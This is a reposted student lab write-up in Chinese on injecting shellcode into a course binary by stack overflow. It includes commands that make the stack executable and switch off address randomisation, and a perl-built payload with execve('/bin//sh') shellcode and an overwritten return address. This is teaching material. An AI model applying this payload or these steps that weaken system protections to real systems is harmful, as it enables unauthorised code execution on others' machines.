当前位置: 首页 > news >正文

20155307《网络对抗》PC平台逆向破解(二)

20155307《网络对抗》PC平台逆向破解(二)

shellcode注入

  • 什么是shellcode?
    shellcode是一段代码,溢出后,执行这段代码能开启系统shell。

  • 前期准备——安装execstack,修改设置

  • 输入execstackapt-get install execstack下载exectstack
    设置堆栈可执行execstack -s pwn20155307
    看看堆栈是否可执行execstack -q pwn20155307

  • 输入more /proc/sys/kernel/randomize_va_space,查询地址随机化状态(2表示开启,0表示关闭),若是开启状态,则关闭地址随机化
    关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
    1074394-20180318115302871-1973687591.jpg
  • 准备完毕,开始运行并gdb调试

    输入shellcode的内容perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode运行pwn20155307,输入命令(cat input_shellcode;cat) | ./pwn20155307
    1074394-20180318115450231-714292583.jpg

  • 通过设置断点,来查看注入buf的内存地址
    1074394-20180318121014176-641557964.jpg
    知道shellcode地址,所以修改为perl -e 'print "A" x 32;print "\x60\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    查看shellcode转换进制内容xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155307
    1074394-20180318121025182-677976202.jpg
    发现成功修改

转载于:https://www.cnblogs.com/zhuanyedajiesanshinian/p/8594931.html

相关文章:

  • 273. Integer to English Words
  • DevOps是一种文化,不是角色!
  • 00004、python+selenium 的三种时间等待方式
  • SQL SERVER存储过程一
  • HTML中nbsp; ensp; emsp; thinsp;等6种空白空格的区别
  • P1280 尼克的任务
  • 动态代理和AOP
  • php 实现SFTP上传文件
  • WordCount项目总结
  • 2017校招真题在线编程- 网易 合唱团
  • BZOJ 1260: [CQOI2007]涂色paint【区间DP】
  • Java浅克隆和深克隆
  • C#注册OCX控件
  • Hibernate 一对一关联映射,mappedBy参数解析
  • range.FormulaR1C1属性
  • Brief introduction of how to 'Call, Apply and Bind'
  • CentOS学习笔记 - 12. Nginx搭建Centos7.5远程repo
  • C语言笔记(第一章:C语言编程)
  • iOS动画编程-View动画[ 1 ] 基础View动画
  • js
  • Laravel深入学习6 - 应用体系结构:解耦事件处理器
  • React as a UI Runtime(五、列表)
  • 阿里云爬虫风险管理产品商业化,为云端流量保驾护航
  • 得到一个数组中任意X个元素的所有组合 即C(n,m)
  • 聊聊spring cloud的LoadBalancerAutoConfiguration
  • 深入浏览器事件循环的本质
  • 学习Vue.js的五个小例子
  • 用jQuery怎么做到前后端分离
  • 新海诚画集[秒速5センチメートル:樱花抄·春]
  • (13):Silverlight 2 数据与通信之WebRequest
  • (机器学习-深度学习快速入门)第三章机器学习-第二节:机器学习模型之线性回归
  • (力扣)循环队列的实现与详解(C语言)
  • (算法二)滑动窗口
  • (一)Thymeleaf用法——Thymeleaf简介
  • (转)GCC在C语言中内嵌汇编 asm __volatile__
  • (转)Scala的“=”符号简介
  • .java 指数平滑_转载:二次指数平滑法求预测值的Java代码
  • .NET CLR Hosting 简介
  • .NET Framework 服务实现监控可观测性最佳实践
  • .NET 解决重复提交问题
  • .net 怎么循环得到数组里的值_关于js数组
  • .Net多线程总结
  • .Net转前端开发-启航篇,如何定制博客园主题
  • @transactional 方法执行完再commit_当@Transactional遇到@CacheEvict,你的代码是不是有bug!...
  • @在php中起什么作用?
  • []T 还是 []*T, 这是一个问题
  • [20140403]查询是否产生日志
  • [20180312]进程管理其中的SQL Server进程占用内存远远大于SQL server内部统计出来的内存...
  • [23] 4K4D: Real-Time 4D View Synthesis at 4K Resolution
  • [APIO2015]巴厘岛的雕塑
  • [BT]BUUCTF刷题第9天(3.27)
  • [BUUCTF NewStarCTF 2023 公开赛道] week3 crypto/pwn
  • [BZOJ 3282] Tree 【LCT】
  • [cb]UIGrid+UIStretch的自适应
  • [codeforces]Recover the String